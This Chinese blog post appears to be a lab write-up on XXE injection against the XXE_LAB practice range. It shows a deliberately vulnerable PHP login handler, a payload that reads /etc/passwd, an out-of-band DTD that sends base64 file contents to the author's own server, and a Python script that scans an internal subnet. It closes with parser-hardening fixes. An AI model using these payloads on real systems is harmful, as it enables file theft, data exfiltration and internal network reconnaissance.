XXE漏洞学习-XXE_LAB

August 31, 2020 WEB安全 访问: 60 次

原理

服务器在接受传递过来的xml时,没有作严格的过滤,导致我们输入的payload能够进行文件读取、端口扫描、执行系统命令等

XXE_LAB

这是一个xxe靶场,包含有php、python、java等环境

环境配置

#===========================
# 标准镜像,只支持ubuntu和centos
#===========================
FROM centos:6.9

#============
# 安装apache2 php软件等
#============
RUN yum install -y initscripts && \
    yum install -y httpd && \
    yum install -y mysql-server && \
    yum install -y \
    php \
    php-mysql \
    php-gd \
    libjpeg* \
    php-ldap \
    php-odbc \
    php-pear \
    php-xml \
    php-xmlrpc \
    php-mbstring \
    php-bcmath \
    php-mhash 

#============
# 安装mysql
#============
RUN service httpd start && \
    service mysqld start


#============
# 拷贝文件
#============

COPY ./1.sh /1.sh
RUN chmod 755 -R /1.sh
CMD ["sh","1.sh"]

------------------
1.sh

#!/bin/bash

service httpd start
service mysqld start
while true
do
 sleep 1
done

审计代码

index.html中把我们输入的usernamepassword以xml的形式发送到了doLogin.php

<script type='text/javascript'> 
function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
        alert("Please enter the username and password!");
        return;
    }

    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

doLogin.php中对发送过来的数据进行解析并且把解析后的数据显示在页面上

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);

    $username = $creds->username;
    $password = $creds->password;

    if($username == $USERNAME && $password == $PASSWORD){
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
    }else{
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
    }   
}catch(Exception $e){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

这里对我们输入的信息没有做过滤,所以就会造成XXE漏洞

有回显XXE读取文件

POST /php_xxe/doLogin.php HTTP/1.1
Host: 10.211.55.9:10001
Content-Length: 157
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://10.211.55.9:10001
Referer: http://10.211.55.9:10001/php_xxe/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///etc/passwd">]>
<user><username>&test;</username><password>Mikasa</password></user>

返回的http请求

HTTP/1.1 200 OK
Date: Mon, 31 Aug 2020 05:49:35 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 809
Connection: close
Content-Type: text/html; charset=utf-8

<result><code>0</code><msg>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
</msg></result>

成功读取出文件

无回显XXE读取文件

服务器配置:

filename: test.dtd
content:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://radishes.top:12345?p=%file;'>">

然后对其端口进行监听

nc -lvv 12345

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://radishes.top/test/test.dtd">
%remote;%int;%send;
]>

服务器接收数据:

➜  test nc -lvv 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from [115.34.247.16] port 12345 [tcp/*] accepted (family 2, sport 26733)
GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApiaW46eDoxOjE6YmluOi9iaW46L3NiaW4vbm9asddwddsaZTovdmdsfFyL3d3dzovc2Jpbaasdi9ub2xvZ2luffasCm15c3FsOng6Mjc6Mjc6TXlTUUwgU2VydmVyOi92YXIvbGlsdaiL215c3FsOi9iaW4vYmFzaAo= HTTP/1.0
Host: radishes.top:12345
➜  test 

内网主机探测

首先利用file来读取一些主机信息,从中可以发现该主机内网的一些信息

/etc/hosts
/proc/net/arp
/etc/network/interfaces

思路就是通过XXE来通过Http协议来进行探测

#coding:utf-8
#author:radishes.top
import requests

def send_http(target,ip,index):
    payload = "<?xml version=\"1.0\"?>\n"
    payload += "<!DOCTYPE Mikasa [\n"
    payload += "<!ENTITY test SYSTEM  \"php://filter/read=convert.base64-encode/resource=http://"+ip+"%d\">]>\n"%(index)
    payload += "<user><username>&test;</username><password>Mikasa</password></user>"
    # print payload
    header = {'Content-Type': 'application/xml'}
    r = requests.post(target,data=payload,headers=header,timeout=5)
    return ip+str(index),len(r.text)

if __name__ == "__main__":
    target = "http://10.211.55.9:10001/php_xxe/doLogin.php"
    ip = "172.17.0."
    index = 0
    while index<255:
        currnet_ip,res = send_http(target,ip,index)
        print currnet_ip,res
        index=index+1
'''
172.17.0.0 42
172.17.0.1 42
172.17.0.2 76806
172.17.0.3 50
172.17.0.4 42
172.17.0.5 42
172.17.0.6 42
'''

探测主机开放端口

这个我在根据网上所说的payload尝试的时候,并没有成功的输出一些Connection refused等信息

如果端口未开放的时候,访问时间会很快,而且http返回响应码是200,如果端口开放的话,返回时间会很长,http返回响应码是500

ps:也许是我的操作不太对

防御

php:

libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

添加新评论